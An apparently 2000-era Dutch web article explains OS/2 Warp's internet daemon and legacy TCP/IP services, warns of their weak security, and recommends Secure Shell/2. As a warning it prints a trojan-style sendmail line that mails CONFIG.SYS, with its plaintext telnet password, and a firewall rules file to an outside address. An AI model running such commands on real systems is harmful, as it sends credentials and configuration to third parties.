# De internet daemon van OS/2

#

##### > OS/2 net index <

De internet daemon van OS/2 Secure Shell/2 | Enige relevante links

Tijdens de netwerk installatie van Linux kunt u er al dan niet voor kiezen om de internet daemon (inetd) te starten. Hiermee start uw eigen computer bepaalde TCP/IP diensten op.

Ook de op AIX (Unix) gebaseerde TCP/IP stack van OS/2 Warp 4 kent deze mogelijkheid. Zie het tabblad Automatisch functies starten in TCP/IP configuratie. Waar gaat het nu eigenlijk om?

#

### De internet daemon van OS/2

##### >Top<

De internet daemon (inetd) is het beheersproces dat de aanvraag van de internetdiensten van uw computer regelt. Het gaat om klassieke TCP/IP internetdiensten die verderop kort besproken worden. Uw computer treedt als server van internetdiensten op.

De remote utilities zijn bedoeld voor gebruik op een van het internet afgeschermd LAN of WAN. Maar tijdens een internet verbinding kunnen ze door iedereen benaded worden. Het is maar de vraag of u dat wilt...

Bij het inloggen op het netwerk van uw internet provider krijgt uw PC tijdelijk een op het internet geldend IP adres. Uw computer is dan een host op het internet. Uw thuiscomputer kan via het Internet Protocol zowel diensten opvragen als leveren. Dat laatste is minder bekend.

De internet diensten zijn bij het "internetten" daarom principieel ongewenst. Iemand die "internet" wil doorgaans slechts gebruik maken van de internetdiensten van HTTP en FTP servers elders op het internet. Als uw browser (een internet protocol client) een webserver om een bestand verzoekt, stuurt de webserver het naar uw IP adres. De browser laat de HTML bestanden zien, laat muziek horen of plaatst bestanden via FTP op de harde schijf.

Via de internet daemon van OS/2 kan iemand op uw netwerk de internetdiensten van uw computer activeren. Op een met het internet verbonden LAN behelst dit een groot veiligheidsrisico. Dit omdat de door de OS/2 Warp client geleverde diensten onvoldoende te beveiligen zijn. Ze stammen uit de tijd dat het internet nog een trusted netwerk was.

Ik raad u daarom met klem aan om deze servers standaard uit te zetten op een met het internet verbonden PC. Om het met Axel Boldt te zeggen:

If you don't know what to do here, say N.

Oftewel: niets aanvinken. Tenzij u precies weet wat u doet.

Een voorbeeld van een internetdienst is sendmail. Met de opdracht "detach sendmail" wordt sendmail als een daemon onder OS/2 gestart. Ontkoppelde processen (hier met PID 104) "koppelen" zich los van het opdrachtverwerkingsprogramma cmd.exe dat via het toetsenbord (invoer) en beeldscherm (uitvoer) met u communiceert. Hun uitvoer gaat dan niet naar het beeldscherm, maar bijv. naar een logbestand of naar een ander TCP/IP programma (zie help detach). Hierdoor gebruiken ze minder processor overhead. Ze verschijnen niet in het taakoverzicht van Ctrl-Escape. Ze kunnen draaien zonder dat u het merkt.

[I:\]detach sendmail
The Process Identification Number is 104.

Daarna fungeert uw computer als smtp server. Sendmail zal de betreffende poort (25) in de gaten houden en als een email bericht naar uw PC verstuurd wordt zal sendmail het bericht opvangen en (standaard) doorgeven naar het doelstation op het netwerk.

Als er veel diensten op een server draaien is het niet efficiënt om ze allemaal naar hun poorten te laten luisteren. Daarom wordt de internet super server (inetd) ingeschakeld om naar de bekende poorten in %ETC%/services te luisteren. Deze internet daemon zal de betreffende dienst pas activeren als TCP/IP client programma's de "Te starten functies" op uw systeem benaderen.

De internetdiensten van de OS/2 Warp client worden toegelicht in het bestand TCPGUIDE.HLP. Lees hier vooral het hoofdstuk Ensuring Network Security.

Bedenk dat de beveiliging van de TCP/IP stack van de OS/2 Warp 4 client sterk te wensen over laat. Als alle TCP/IP programma's als Secure Shell geschreven waren (dus aan een veilige gebruikers authentificatie en encryptie deden) was dit geen probleem. Maar dit is niet het geval. Ze zijn zonder TCP/IP wrappers, packet filters, NAT en andere firewall ingrediënten voor iedereen via het TCP/IP netwerk te benaderen.

- Realiseer u dat de in Warp gebruikte TCP/IP diensten voor multi-user UNIX servers zijn geschreven. Dergelijke servers met TCP wrappers, firewalls en een uitgekiend stelsel van bestandspermissies zijn veel beter te beveiligen dan een single-user besturingssysteem.

- De TCP/IP diensten van OS/2 Warp zijn sterk verouderd. Ga er van uit dat de meeste utilities wachtwoorden onversleuteld verzenden. De Warp Client plaatst het telnet wachtwoord zelfs open en bloot in de CONFIG.SYS.

- Een zogenaamde TCP/IP poortscanner kan openstaande poorten detecteren. Tijdens een chat sessie is uw IP adres gemakkelijk te achterhalen. Daarna zal een poortscan op dat adres aangeven wat de zwakke plekken in uw systeem zijn.

- Openstaande TCP/IP verbindingen zijn ook op te vragen met netstat -s (sockets).

In het onderstaande voorbeeld van eComStation staan er (achter de firewall) veel poorten open.

--------------------------------------------------------------------------

AF_INET Address Family:

Total Number of sockets 25

SOCK TYPE FOREIGN LOCAL FOREIGN STATE

PORT PORT HOST

====== ===== ========== ========== ========== ========

1 DGRAM 0 netbios-dgm..138 0.0.0.0 UDP

2 DGRAM 0 netbios-ns..137 0.0.0.0 UDP

3 STREAM 0 netbios-ssn..139 0.0.0.0 LISTEN

4 DGRAM 0 emfis-data..140 0.0.0.0 UDP

5 STREAM 0 0 0.0.0.0 CLOSED

7 STREAM 0 3128 0.0.0.0 LISTEN

18 STREAM 0 printer..515 0.0.0.0 LISTEN

19 DGRAM 0 time..37 0.0.0.0 UDP

25 STREAM 0 0 0.0.0.0 CLOSED

27 DGRAM 0 49163 0.0.0.0 UDP

28 DGRAM 0 0 0.0.0.0 UDP

44 STREAM 0 61589 0.0.0.0 LISTEN

90 STREAM ssh..22 61627 192.168.0.2 ESTABLISH

104 STREAM netbios-ssn..139 61641 192.168.0.2 ESTABLISH

105 STREAM 0 hosts2-ns..81 0.0.0.0 LISTEN

106 STREAM 0 http..80 0.0.0.0 LISTEN

107 STREAM 0 ftp..21 0.0.0.0 LISTEN

109 DGRAM 0 49170 0.0.0.0 UDP

114 DGRAM 0 shilp..2049 0.0.0.0 UDP

364 STREAM ssh..22 61775 192.168.0.2 ESTABLISH

365 STREAM 2607 ftp..21 192.168.0.2 ESTABLISH

2058 DGRAM 0 sunrpc..111 0.0.0.0 UDP

2059 STREAM 0 sunrpc..111 0.0.0.0 LISTEN

2066 DGRAM 0 syslog..514 0.0.0.0 UDP

2088 DGRAM 0 0 0.0.0.0 UDP

--------------------------------------------------------------------------

AF_OS2 Address Family:

Total Number of sockets 2

Type: STREAM State: ---

Local Name: \socket\0

Foreign Name:

Type: STREAM State: CONNECTED

Local Name:

Foreign Name: \socket\0

Gebruik deze diensten dus bij voorkeur achter een goede firewall of op een anderszins van het internet afgesloten LAN. Zoek op Hobbes en LEO naar alternatieven als secure shell en/of gebruik een echt server systeem als Linux of IBM OS/2 Warp server.

Onder OS/2 gaat het om de volgende diensten:

daemon | no | Gebruik
inetd |  | De internet daemon start bij een netwerk/internet aanvraag een van de volgende programma's.
telnetd | 23 | Telnet server voor het afwikkelen van telnet verzoeken over het netwerk.
ftpd | 21 | File Transfer Protocol server voor het afwikkelen van FTP verzoeken t.b.v. bestandsuitwisseling over het netwerk.
tftpd | 69 | Trivial File Transfer Protocol server voor het afwikkelen van TFTP verzoeken. Bestandsuitwisseling via UDP. Omdat dit protocol geen authentificatie-procedure bevat, wordt het vooral bij automatische bootprocedures gebruikt.
rexecd |  | Remote Execute server voor het afwikkelen van commando regels over het netwerk.
rshd |  | Remote shell server voor het afwikkelen van remote shell aanvragen over het netwerk.
lpd |  | Print server voor het afwikkelen van printverzoeken over het netwerk. Er kunnen acht netwerkprinters op aangesloten worden.
lprportd |  | Daemon om printverzoeken naar andere printers op het netwerk om te leiden.
routed |  | De routing server gebruikt het Routing Information Protocol (RIP) om dynamisch routing tabellen te creëren die door gateways en routers naar andere computers op het netwerk wordt geleid. Voor grotere netwerken.
portmap |  | Een programma dat clients helpt bij het uitpluizen van de poortnummers.
sendmail | 25 | Simple Mail Tranfer Protocol server voor het versturen (en ophalen) van e-mail.
talkd |  | Server voor een chat met het programma talk met andere netwerkgebruikers over de prompt.

Telnet is onder Unix en OS/2 een uitermate krachtig, maar ook gevaarlijk hulpmiddel. Een telnet zolder levert bij mij de Linux prompt op. Ik geef mijn gebruikersnaam en wachtwoord en bevindt me op de Linux prompt. Met telnet kunt tekstprogramma's op de andere computer draaien. Toets mc en u kunt al uw bestanden zien en bewerken. Met telnet kunt elders X programma's starten en het beeld exporteren naar de OS/2 computer (zie: XFree86/OS2). Onder Linux zal de systeembeheerder (root) daarom standaard niet kunnen inloggen (hoewel dat met su te omzeilen is). Maar OS/2 is een single user systeem. Iemand die met telnet binnenkomt krijgt ongelimiteerde toegang tot alle bestanden. En wist u dat het telnet wachtwoord als onbeschermde variabele in de CONFIG.SYS stond?

SET TELNET.PASSWORD.ID=wachtwoord

Zo'n CONFIG.SYS is niet iets om onder het kopje "Can't connect to my server" in een usenet groep te posten dus. Voordat u het weet kan een ander het wel.

Dit maakt u ook kwetsbaar voor Trojaanse Paarden. Als een REXX script (install.cmd) de volgende regel bevat, kan uw wachtwoord naar happy hacker sjoerd@zolder.thuis verzonden worden.... Hiervoor hoeft sendmail niet eens als server geactiveerd te zijn. Hij treedt hier immers op als client.

'sendmail -f %USER%@%HOSTNAME% sjoerd@zolder.thuis < config.sys'

Of wat te denken van uw firewall regels:

[I:\]sendmail -f %username%@%hostname% sjoerd@zolder.thuis < %ETC%\security\fwfiltrs.cnf
IBM OS/2 SENDMAIL VERSION 2.04
Using Sendmail Configuration File H:\MPTN\ETC\sendmail.cf
[I:\]

Het hidden maken van de bestanden helpt hier niet.

Wat zich hier wreekt is dat de OS/2 client geen uitgebreid systeem van bestandspermissies kent zoals de multi-user besturingssystemen Linux en UNIX. Ook een verkeerd geschreven programma kan onder OS/2 gemakkelijk sleutelbestanden overschrijven. Nu daar ben ik dan zelf bij zult u misschien denken, maar in de wereld van op de achtergrond opererende TCP/IP servers en clients is dat zelden het geval. U bent dus erg afhankelijk van de goede trouw, discipline en kundigheid van de gebruikers (naar ik hoop alleen u en degenen op het LAN) en de kwaliteit van de TCP/IP programma's.

Security is a matter of trust stellen de auteurs van het SuSE handboek heel terecht.

FTP is weer zoiets. Zou u "Geen leestoegang tot directory's" en "Geen leestoegang tot directory's" in de trusted users FTP instellingen aanvinken en de root van de bootpartitie niet expliciet uitsluiten, dan kan iedereen uw telnet wachtwoord lezen. Gelukkig zijn er ook beter te beveiligen FTP daemon versies te vinden.

Zie onder andere het artikel van Peter Moylan "ftpd and FtpServer for OS/2" in OS/2 EZine.

Werp ook eens blik op de gratis FTP en WWW server Xitami. Deze kan voor lokaal gebruik ingericht worden.

#### Secure Shell/2

##### >Top<

Een alternatief voor de rlogin, rsh, rcp (en telnet!) clients en daemonen is het veel beter te beveiligen Secure Shell. Er zijn meerdere versies op Hobbes te vinden. De recente open source Secure Shell/2 1.2.30 OS/2 port van de rus Andrew Zabolotny bevat een Secure Shell client, de Secure Shell Daemon en tools voor RSA encryptie en gebruikersauthentificatie (key generators). Voor OS/2 kunt u met het user utility UNIX achtige wachtwoorden voor meerdere gebruikers aanmaken.

Secure Shell versleutelt de communicatie al voordat wachtwoorden uitgewisseld worden, iets dat de klassieke Berkeley remote utilities van OS/2 (en NT) uit zichzelf nooit doen. Secure shell controleert eerst grondig de herkomst (hosts) van de gebruikers die een inlogpoging doen: niet alleen of hun wachtwoorden, maar ook of hun private keys overeenkomen met de public keys op de server. Het ingeven van een (geraden) wachtwoord is niet genoeg.

Er is een sshd (Secure Shell Daemon) die als server voor de ssh client optreedt. De shd server vangt de login verzoeken van de ssh clients op en verzorgt de authentificatie.

Gebruikers van trusted hosts die geboekt zijn in /etc/hosts.equiv of /etc/shosts.equiv krijgen onmiddellijk toegang als de gebruikers op beide machines bekend zijn.

Voor de OS/2 gebruiker die op een Linux systeem inlogt is van belang dat alle functietoetsen (F1-F10) het doen: de Midnight Commander (mc) en SuSE's yast zijn veilig te gebruiken. Een ander voordeel is dat de encryptie van gegevens automatisch met compressie gepaard gaat (en dus minder netwerk verkeer geeft). Dat kan uitmaken met XFree86/OS2 en VNC.

Na een update van SuSE 6.1 naar 7.1 gaf ssh/2 (ssh.exe -tc /etc/ssh_term.linux zolder):

@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@
@ WARNING: HOST IDENTIFICATION HAS CHANGED! @
@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@
IT IS POSSIBLE THAT SOMEONE IS DOING SOMETHING NASTY!
Someone could be eavesdropping on you right now (man-in-the-middle attack)!
It is also possible that the host key has just been changed.
Please contact your system administrator.
Add correct host key in g:/home/sjoerd/.ssh/known_hosts to get rid of this message.
Agent forwarding is disabled to avoid attacks by corrupted servers.
X11 forwarding is disabled to avoid attacks by corrupted servers.
Are you sure you want to continue connecting (yes/no)? yes
sjoerd@zolder's password:

Dit was inderdaad op te lossen door de nieuw aangemaakte keys in /home/sjoerd/.ssh op de Linux PC naar g:\home\sjoerd\.ssh (mijn home directory op OS/2) te kopiëren.

De aanbevolen weg - zeker als uw known_hosts meerdere ingangen bevat - is het toevoegen van de publieke sleutel in /etc/ssh/ssh_host_key.pub op de ssh server aan het known_hosts bestand van de ssh clientgebruiker.

De syntax is [servernaam],[IPadres server] [public key van de server]

Zo bevat mijn home\sjoerd\.ssh\known_hosts twee ingangen:

zolder,192.168.0.2 1024 35 1042.........
suse, 1024 35 1042 149...............

#### Enige relevante links

Getting started with SSH under OS/2

The Secure Shell (SSH) Frequently Asked Questions

ftp://24.2.168.186/pub/os2/unix/xfree86/ports/shells/

De artikelen Lastige klanten. OS/2 en het internet en Een firewall voor OS/2 gaan wat dieper in op de beveiliging van een OS/2 systeem. Voor meer algemene info over TCP/IP zie Enige basale zaken in Een netwerk aan huis. Meer links op: OS/2 netwerk links.

Er zijn veel meer internetdiensten te draaien onder OS/2. Kijk op het LEO archief eens voor toepassingen: http://archiv.leo.org/pub/comp/os/os2/leo/tcpip/ of op Hobbes: http://hobbes.nmsu.edu/cgi-bin/h-browse?sh=1&dir=/pub/os2/apps/internet en

http://hobbes.nmsu.edu/cgi-bin/h-browse?sh=1&dir=/pub/os2/util/network/tcpip voor de niet specifieke internet applicaties. U kunt Hobbes ook doorzoeken op het steekwoordje "server".

Nuttige tips van Greg Shaw: TCP/IP Remote Control Tips.

#####

##### >Top<

Deze tekst mag niet worden gewijzigd, vermenigvuldigd of voor commerciële doeleinden gebruikt worden zonder toestemming van de auteur. © Sjoerd Visser (2000).